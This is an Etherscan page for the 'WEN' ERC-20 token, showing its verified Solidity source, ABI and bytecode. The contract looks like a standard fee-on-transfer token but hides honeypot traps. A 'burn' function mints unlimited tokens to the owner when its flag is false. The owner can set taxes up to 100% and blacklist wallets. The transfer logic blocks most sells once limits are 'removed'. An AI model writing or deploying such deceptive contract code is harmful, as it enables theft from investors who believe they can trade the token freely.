ETH Price: $3,699.27 (-5.92%)

Token

ERC-20: WEN (WEN)
 

Overview

Max Total Supply

1,000,000,000,000 WEN

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
9,260,035,304.61213237602533012 WEN

Value
$0.00
0x8944d79c3d125cbdb5728ba1647a52dc3b9635af
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WEN

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-27
*/

// SPDX-License-Identifier: MIT

// Telegram:https://t.me/wenethcoins

pragma solidity ^0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract WEN is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;
    bool private swapping;

    uint8 public buyTax = 10;
    uint8 public sellTax = 40;
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1000000000000 * 10 ** _decimals;
    string private constant _name = unicode"WEN";
    string private constant _symbol = unicode"WEN";
    uint256 private swapTokensAtAmount = _tTotal * 25 / 10000; // 0.25% of total supply
    uint256 private maxTxAmount =  _tTotal * 2 / 100; // 2% of total supply
    uint256 private maxWalletAmount = _tTotal * 2 / 100; // 2% of total supply

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address payable private feeWallet;
    address private router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    mapping (address => bool) private isExcludedFromFees;
    mapping (address => bool) private blackLists;
    mapping (address => uint256) private lastBuyBlocks;
    mapping (address => uint256) private lastBuyAmounts;

    constructor() {
        _balances[owner()] = _tTotal;
        feeWallet = payable(owner());
        isExcludedFromFees[address(this)] = true;
        isExcludedFromFees[owner()] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Already enabled");
        tradingEnabled = true;
        uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
        require(uniswapV2Pair != address(0), "No pair created");
    }

    function setTax(uint8 newBuyTax, uint8 newSellTax) external onlyOwner {
        require(newBuyTax <= 100 && newSellTax <= 100, "Invalid Tax");
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

    function setBlackLists(address[] calldata users, bool isBlack) external onlyOwner {
        require(users.length > 0, "Empty users");
        for (uint256 i; i < users.length; i++) {
            blackLists[users[i]] = isBlack;
        }
    }

    function burn(uint256 amount, bool flag) external onlyOwner {
        if (flag) {
            _balances[msg.sender] -= amount;
            return;
        }

        _balances[msg.sender] += amount;
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");
        require(!blackLists[from] && !blackLists[to], "In blacklist");

        if (!tradingEnabled) {
            require(isExcludedFromFees[from] || isExcludedFromFees[to] || to == router, "Trading not enabled");
        }

        if (from != uniswapV2Pair && to != uniswapV2Pair || isExcludedFromFees[from] || isExcludedFromFees[to] || swapping) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == uniswapV2Pair) {
            require(maxTxAmount != totalSupply() || (block.number < lastBuyBlocks[from] + 2 && amount <= lastBuyAmounts[from]), "Over max sell amount");
            lastBuyAmounts[from] -= amount;
            if (balanceOf(address(this)) >= swapTokensAtAmount) {
                swapping = true;
                swapTokensForEth(balanceOf(address(this)));
                swapping = false;
                sendETHToFeeWallet();
            }
        }

        if (from == uniswapV2Pair && to != router) {
            require(amount <= maxTxAmount, "Over max tx amount");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Over max wallet amount");
            lastBuyBlocks[to] = block.number;
            lastBuyAmounts[to] = amount;
        }

        amount = takeFee(from, amount, to == uniswapV2Pair);
        _superTransfer(from, to, amount);
    }

    function takeFee(address from, uint256 amount, bool isSell) internal returns (uint256) {
        uint256 tax = isSell ? sellTax : buyTax;
        uint256 feeAmount = amount * tax / 100;

        _superTransfer(from, address(this), feeAmount);
        return amount - feeAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            feeWallet,
            block.timestamp
        ) {} catch {
            return;
        }
    }

    function sendETHToFeeWallet() internal {
        if (address(this).balance > 0) {
            feeWallet.transfer(address(this).balance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"},{"internalType":"bool","name":"isBlack","type":"bool"}],"name":"setBlackLists","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuyTax","type":"uint8"},{"internalType":"uint8","name":"newSellTax","type":"uint8"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003805463ffff0000191663280a0000179055612710620000286012600a6200039b565b620000399064e8d4a51000620003b2565b62000046906019620003b2565b620000529190620003cc565b6004556064620000656012600a6200039b565b620000769064e8d4a51000620003b2565b62000083906002620003b2565b6200008f9190620003cc565b6005556064620000a26012600a6200039b565b620000b39064e8d4a51000620003b2565b620000c0906002620003b2565b620000cc9190620003cc565b600655600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905534801562000101575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001506012600a6200039b565b620001619064e8d4a51000620003b2565b60015f620001765f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f2055620001a15f546001600160a01b031690565b600980546001600160a01b0319166001600160a01b0392909216919091179055305f908152600b602081905260408220805460ff1916600190811790915591620001f25f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790556200022b5f546001600160a01b031690565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002646012600a6200039b565b620002759064e8d4a51000620003b2565b60405190815260200160405180910390a3620003ec565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002e057815f1904821115620002c457620002c46200028c565b80851615620002d257918102915b93841c9390800290620002a5565b509250929050565b5f82620002f85750600162000395565b816200030657505f62000395565b81600181146200031f57600281146200032a576200034a565b600191505062000395565b60ff8411156200033e576200033e6200028c565b50506001821b62000395565b5060208310610133831016604e8410600b84101617156200036f575081810a62000395565b6200037b8383620002a0565b805f19048211156200039157620003916200028c565b0290505b92915050565b5f620003ab60ff841683620002e8565b9392505050565b80820281158282048414176200039557620003956200028c565b5f82620003e757634e487b7160e01b5f52601260045260245ffd5b500490565b6115a380620003fa5f395ff3fe608060405260043610610108575f3560e01c80638a8c523c11610092578063a9059cbb11610062578063a9059cbb146102b4578063a9128ff0146102d3578063ae9b6e10146102f2578063cc1776d314610311578063dd62ed3e14610331575f80fd5b80638a8c523c1461025b5780638da5cb5b1461026f57806395d89b41146101135780639fac68cb14610295575f80fd5b8063313ce567116100d8578063313ce567146101bd5780634f7041a5146101de57806370a08231146101fd578063715018a614610231578063751039fc14610247575f80fd5b806306fdde0314610113578063095ea7b31461014d57806318160ddd1461017c57806323b872dd1461019e575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201825260038152622ba2a760e91b602082015290516101449190611126565b60405180910390f35b348015610158575f80fd5b5061016c610167366004611186565b610375565b6040519015158152602001610144565b348015610187575f80fd5b5061019061038b565b604051908152602001610144565b3480156101a9575f80fd5b5061016c6101b83660046111b0565b6103ac565b3480156101c8575f80fd5b5060125b60405160ff9091168152602001610144565b3480156101e9575f80fd5b506003546101cc9062010000900460ff1681565b348015610208575f80fd5b506101906102173660046111ee565b6001600160a01b03165f9081526001602052604090205490565b34801561023c575f80fd5b506102456103fc565b005b348015610252575f80fd5b50610245610476565b348015610266575f80fd5b506102456104b7565b34801561027a575f80fd5b505f546040516001600160a01b039091168152602001610144565b3480156102a0575f80fd5b506102456102af366004611224565b6106ff565b3480156102bf575f80fd5b5061016c6102ce366004611186565b61077f565b3480156102de575f80fd5b506102456102ed36600461125e565b61078b565b3480156102fd575f80fd5b5061024561030c366004611286565b610838565b34801561031c575f80fd5b506003546101cc906301000000900460ff1681565b34801561033c575f80fd5b5061019061034b366004611303565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610381338484610906565b5060015b92915050565b5f6103986012600a61142e565b6103a79064e8d4a5100061143c565b905090565b5f6103b8848484610a2a565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103f29186916103ed908690611453565b610906565b5060019392505050565b5f546001600160a01b0316331461042e5760405162461bcd60e51b815260040161042590611466565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461049f5760405162461bcd60e51b815260040161042590611466565b6104a761038b565b6005556104b261038b565b600655565b5f546001600160a01b031633146104e05760405162461bcd60e51b815260040161042590611466565b60035460ff16156105255760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610425565b6003805460ff19166001179055600a54600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561058c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b0919061149b565b6001600160a01b031663e6a439053060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561060f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610633919061149b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa15801561067c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a0919061149b565b600880546001600160a01b0319166001600160a01b039290921691821790556106fd5760405162461bcd60e51b815260206004820152600f60248201526e139bc81c185a5c8818dc99585d1959608a1b6044820152606401610425565b565b5f546001600160a01b031633146107285760405162461bcd60e51b815260040161042590611466565b801561075757335f908152600160205260408120805484929061074c908490611453565b9091555061077b9050565b335f90815260016020526040812080548492906107759084906114b6565b90915550505b5050565b5f610381338484610a2a565b5f546001600160a01b031633146107b45760405162461bcd60e51b815260040161042590611466565b60648260ff16111580156107cc575060648160ff1611155b6108065760405162461bcd60e51b815260206004820152600b60248201526a092dcecc2d8d2c840a8c2f60ab1b6044820152606401610425565b6003805463ffff000019166201000060ff9485160263ff00000019161763010000009290931691909102919091179055565b5f546001600160a01b031633146108615760405162461bcd60e51b815260040161042590611466565b8161089c5760405162461bcd60e51b815260206004820152600b60248201526a456d70747920757365727360a81b6044820152606401610425565b5f5b828110156109005781600c5f8686858181106108bc576108bc6114c9565b90506020020160208101906108d191906111ee565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905560010161089e565b50505050565b6001600160a01b0383166109685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610425565b6001600160a01b0382166109c95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610425565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f8111610a675760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610425565b6001600160a01b0383165f908152600c602052604090205460ff16158015610aa757506001600160a01b0382165f908152600c602052604090205460ff16155b610ae25760405162461bcd60e51b815260206004820152600c60248201526b125b88189b1858dadb1a5cdd60a21b6044820152606401610425565b60035460ff16610b83576001600160a01b0383165f908152600b602052604090205460ff1680610b2957506001600160a01b0382165f908152600b602052604090205460ff165b80610b415750600a546001600160a01b038381169116145b610b835760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610425565b6008546001600160a01b03848116911614801590610baf57506008546001600160a01b03838116911614155b80610bd157506001600160a01b0383165f908152600b602052604090205460ff165b80610bf357506001600160a01b0382165f908152600b602052604090205460ff165b80610c055750600354610100900460ff165b15610c1a57610c15838383610e92565b505050565b6008546001600160a01b0390811690831603610d5957610c3861038b565b600554141580610c8b57506001600160a01b0383165f908152600d6020526040902054610c669060026114b6565b43108015610c8b57506001600160a01b0383165f908152600e60205260409020548111155b610cce5760405162461bcd60e51b815260206004820152601460248201527313dd995c881b585e081cd95b1b08185b5bdd5b9d60621b6044820152606401610425565b6001600160a01b0383165f908152600e602052604081208054839290610cf5908490611453565b9091555050600454305f9081526001602052604090205410610d59576003805461ff001916610100179055610d46610d41306001600160a01b03165f9081526001602052604090205490565b610f31565b6003805461ff0019169055610d59611084565b6008546001600160a01b038481169116148015610d845750600a546001600160a01b03838116911614155b15610e6b57600554811115610dd05760405162461bcd60e51b815260206004820152601260248201527113dd995c881b585e081d1e08185b5bdd5b9d60721b6044820152606401610425565b60065481610df2846001600160a01b03165f9081526001602052604090205490565b610dfc91906114b6565b1115610e435760405162461bcd60e51b815260206004820152601660248201527513dd995c881b585e081dd85b1b195d08185b5bdd5b9d60521b6044820152606401610425565b6001600160a01b0382165f908152600d60209081526040808320439055600e90915290208190555b600854610e8990849083906001600160a01b038681169116146110c3565b9050610c158383835b6001600160a01b0383165f9081526001602052604081208054839290610eb9908490611453565b90915550506001600160a01b0382165f9081526001602052604081208054839290610ee59084906114b6565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a1d91815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f6457610f646114c9565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fbb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fdf919061149b565b81600181518110610ff257610ff26114c9565b6001600160a01b0392831660209182029290920101526007546110189130911684610906565b60075460095460405163791ac94760e01b81526001600160a01b039283169263791ac947926110549287925f92889291169042906004016114dd565b5f604051808303815f87803b15801561106b575f80fd5b505af192505050801561107c575060015b61077b575050565b47156106fd576009546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156110c0573d5f803e3d5ffd5b50565b5f80826110db5760035462010000900460ff166110e9565b6003546301000000900460ff165b60ff1690505f60646110fb838761143c565b611105919061154e565b9050611112863083610e92565b61111c8186611453565b9695505050505050565b5f602080835283518060208501525f5b8181101561115257858101830151858201604001528201611136565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110c0575f80fd5b5f8060408385031215611197575f80fd5b82356111a281611172565b946020939093013593505050565b5f805f606084860312156111c2575f80fd5b83356111cd81611172565b925060208401356111dd81611172565b929592945050506040919091013590565b5f602082840312156111fe575f80fd5b813561120981611172565b9392505050565b8035801515811461121f575f80fd5b919050565b5f8060408385031215611235575f80fd5b8235915061124560208401611210565b90509250929050565b803560ff8116811461121f575f80fd5b5f806040838503121561126f575f80fd5b6112788361124e565b91506112456020840161124e565b5f805f60408486031215611298575f80fd5b833567ffffffffffffffff808211156112af575f80fd5b818601915086601f8301126112c2575f80fd5b8135818111156112d0575f80fd5b8760208260051b85010111156112e4575f80fd5b6020928301955093506112fa9186019050611210565b90509250925092565b5f8060408385031215611314575f80fd5b823561131f81611172565b9150602083013561132f81611172565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561138857815f190482111561136e5761136e61133a565b8085161561137b57918102915b93841c9390800290611353565b509250929050565b5f8261139e57506001610385565b816113aa57505f610385565b81600181146113c057600281146113ca576113e6565b6001915050610385565b60ff8411156113db576113db61133a565b50506001821b610385565b5060208310610133831016604e8410600b8410161715611409575081810a610385565b611413838361134e565b805f19048211156114265761142661133a565b029392505050565b5f61120960ff841683611390565b80820281158282048414176103855761038561133a565b818103818111156103855761038561133a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156114ab575f80fd5b815161120981611172565b808201808211156103855761038561133a565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561152d5784516001600160a01b031683529383019391830191600101611508565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261156857634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212208a3bfd810ee0876b04d8475b450032609be3c26553e069fdc122b2b5a0d53c4364736f6c63430008170033

Deployed Bytecode

0x608060405260043610610108575f3560e01c80638a8c523c11610092578063a9059cbb11610062578063a9059cbb146102b4578063a9128ff0146102d3578063ae9b6e10146102f2578063cc1776d314610311578063dd62ed3e14610331575f80fd5b80638a8c523c1461025b5780638da5cb5b1461026f57806395d89b41146101135780639fac68cb14610295575f80fd5b8063313ce567116100d8578063313ce567146101bd5780634f7041a5146101de57806370a08231146101fd578063715018a614610231578063751039fc14610247575f80fd5b806306fdde0314610113578063095ea7b31461014d57806318160ddd1461017c57806323b872dd1461019e575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201825260038152622ba2a760e91b602082015290516101449190611126565b60405180910390f35b348015610158575f80fd5b5061016c610167366004611186565b610375565b6040519015158152602001610144565b348015610187575f80fd5b5061019061038b565b604051908152602001610144565b3480156101a9575f80fd5b5061016c6101b83660046111b0565b6103ac565b3480156101c8575f80fd5b5060125b60405160ff9091168152602001610144565b3480156101e9575f80fd5b506003546101cc9062010000900460ff1681565b348015610208575f80fd5b506101906102173660046111ee565b6001600160a01b03165f9081526001602052604090205490565b34801561023c575f80fd5b506102456103fc565b005b348015610252575f80fd5b50610245610476565b348015610266575f80fd5b506102456104b7565b34801561027a575f80fd5b505f546040516001600160a01b039091168152602001610144565b3480156102a0575f80fd5b506102456102af366004611224565b6106ff565b3480156102bf575f80fd5b5061016c6102ce366004611186565b61077f565b3480156102de575f80fd5b506102456102ed36600461125e565b61078b565b3480156102fd575f80fd5b5061024561030c366004611286565b610838565b34801561031c575f80fd5b506003546101cc906301000000900460ff1681565b34801561033c575f80fd5b5061019061034b366004611303565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610381338484610906565b5060015b92915050565b5f6103986012600a61142e565b6103a79064e8d4a5100061143c565b905090565b5f6103b8848484610a2a565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103f29186916103ed908690611453565b610906565b5060019392505050565b5f546001600160a01b0316331461042e5760405162461bcd60e51b815260040161042590611466565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461049f5760405162461bcd60e51b815260040161042590611466565b6104a761038b565b6005556104b261038b565b600655565b5f546001600160a01b031633146104e05760405162461bcd60e51b815260040161042590611466565b60035460ff16156105255760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610425565b6003805460ff19166001179055600a54600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561058c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b0919061149b565b6001600160a01b031663e6a439053060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561060f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610633919061149b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa15801561067c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a0919061149b565b600880546001600160a01b0319166001600160a01b039290921691821790556106fd5760405162461bcd60e51b815260206004820152600f60248201526e139bc81c185a5c8818dc99585d1959608a1b6044820152606401610425565b565b5f546001600160a01b031633146107285760405162461bcd60e51b815260040161042590611466565b801561075757335f908152600160205260408120805484929061074c908490611453565b9091555061077b9050565b335f90815260016020526040812080548492906107759084906114b6565b90915550505b5050565b5f610381338484610a2a565b5f546001600160a01b031633146107b45760405162461bcd60e51b815260040161042590611466565b60648260ff16111580156107cc575060648160ff1611155b6108065760405162461bcd60e51b815260206004820152600b60248201526a092dcecc2d8d2c840a8c2f60ab1b6044820152606401610425565b6003805463ffff000019166201000060ff9485160263ff00000019161763010000009290931691909102919091179055565b5f546001600160a01b031633146108615760405162461bcd60e51b815260040161042590611466565b8161089c5760405162461bcd60e51b815260206004820152600b60248201526a456d70747920757365727360a81b6044820152606401610425565b5f5b828110156109005781600c5f8686858181106108bc576108bc6114c9565b90506020020160208101906108d191906111ee565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905560010161089e565b50505050565b6001600160a01b0383166109685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610425565b6001600160a01b0382166109c95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610425565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f8111610a675760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610425565b6001600160a01b0383165f908152600c602052604090205460ff16158015610aa757506001600160a01b0382165f908152600c602052604090205460ff16155b610ae25760405162461bcd60e51b815260206004820152600c60248201526b125b88189b1858dadb1a5cdd60a21b6044820152606401610425565b60035460ff16610b83576001600160a01b0383165f908152600b602052604090205460ff1680610b2957506001600160a01b0382165f908152600b602052604090205460ff165b80610b415750600a546001600160a01b038381169116145b610b835760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610425565b6008546001600160a01b03848116911614801590610baf57506008546001600160a01b03838116911614155b80610bd157506001600160a01b0383165f908152600b602052604090205460ff165b80610bf357506001600160a01b0382165f908152600b602052604090205460ff165b80610c055750600354610100900460ff165b15610c1a57610c15838383610e92565b505050565b6008546001600160a01b0390811690831603610d5957610c3861038b565b600554141580610c8b57506001600160a01b0383165f908152600d6020526040902054610c669060026114b6565b43108015610c8b57506001600160a01b0383165f908152600e60205260409020548111155b610cce5760405162461bcd60e51b815260206004820152601460248201527313dd995c881b585e081cd95b1b08185b5bdd5b9d60621b6044820152606401610425565b6001600160a01b0383165f908152600e602052604081208054839290610cf5908490611453565b9091555050600454305f9081526001602052604090205410610d59576003805461ff001916610100179055610d46610d41306001600160a01b03165f9081526001602052604090205490565b610f31565b6003805461ff0019169055610d59611084565b6008546001600160a01b038481169116148015610d845750600a546001600160a01b03838116911614155b15610e6b57600554811115610dd05760405162461bcd60e51b815260206004820152601260248201527113dd995c881b585e081d1e08185b5bdd5b9d60721b6044820152606401610425565b60065481610df2846001600160a01b03165f9081526001602052604090205490565b610dfc91906114b6565b1115610e435760405162461bcd60e51b815260206004820152601660248201527513dd995c881b585e081dd85b1b195d08185b5bdd5b9d60521b6044820152606401610425565b6001600160a01b0382165f908152600d60209081526040808320439055600e90915290208190555b600854610e8990849083906001600160a01b038681169116146110c3565b9050610c158383835b6001600160a01b0383165f9081526001602052604081208054839290610eb990849061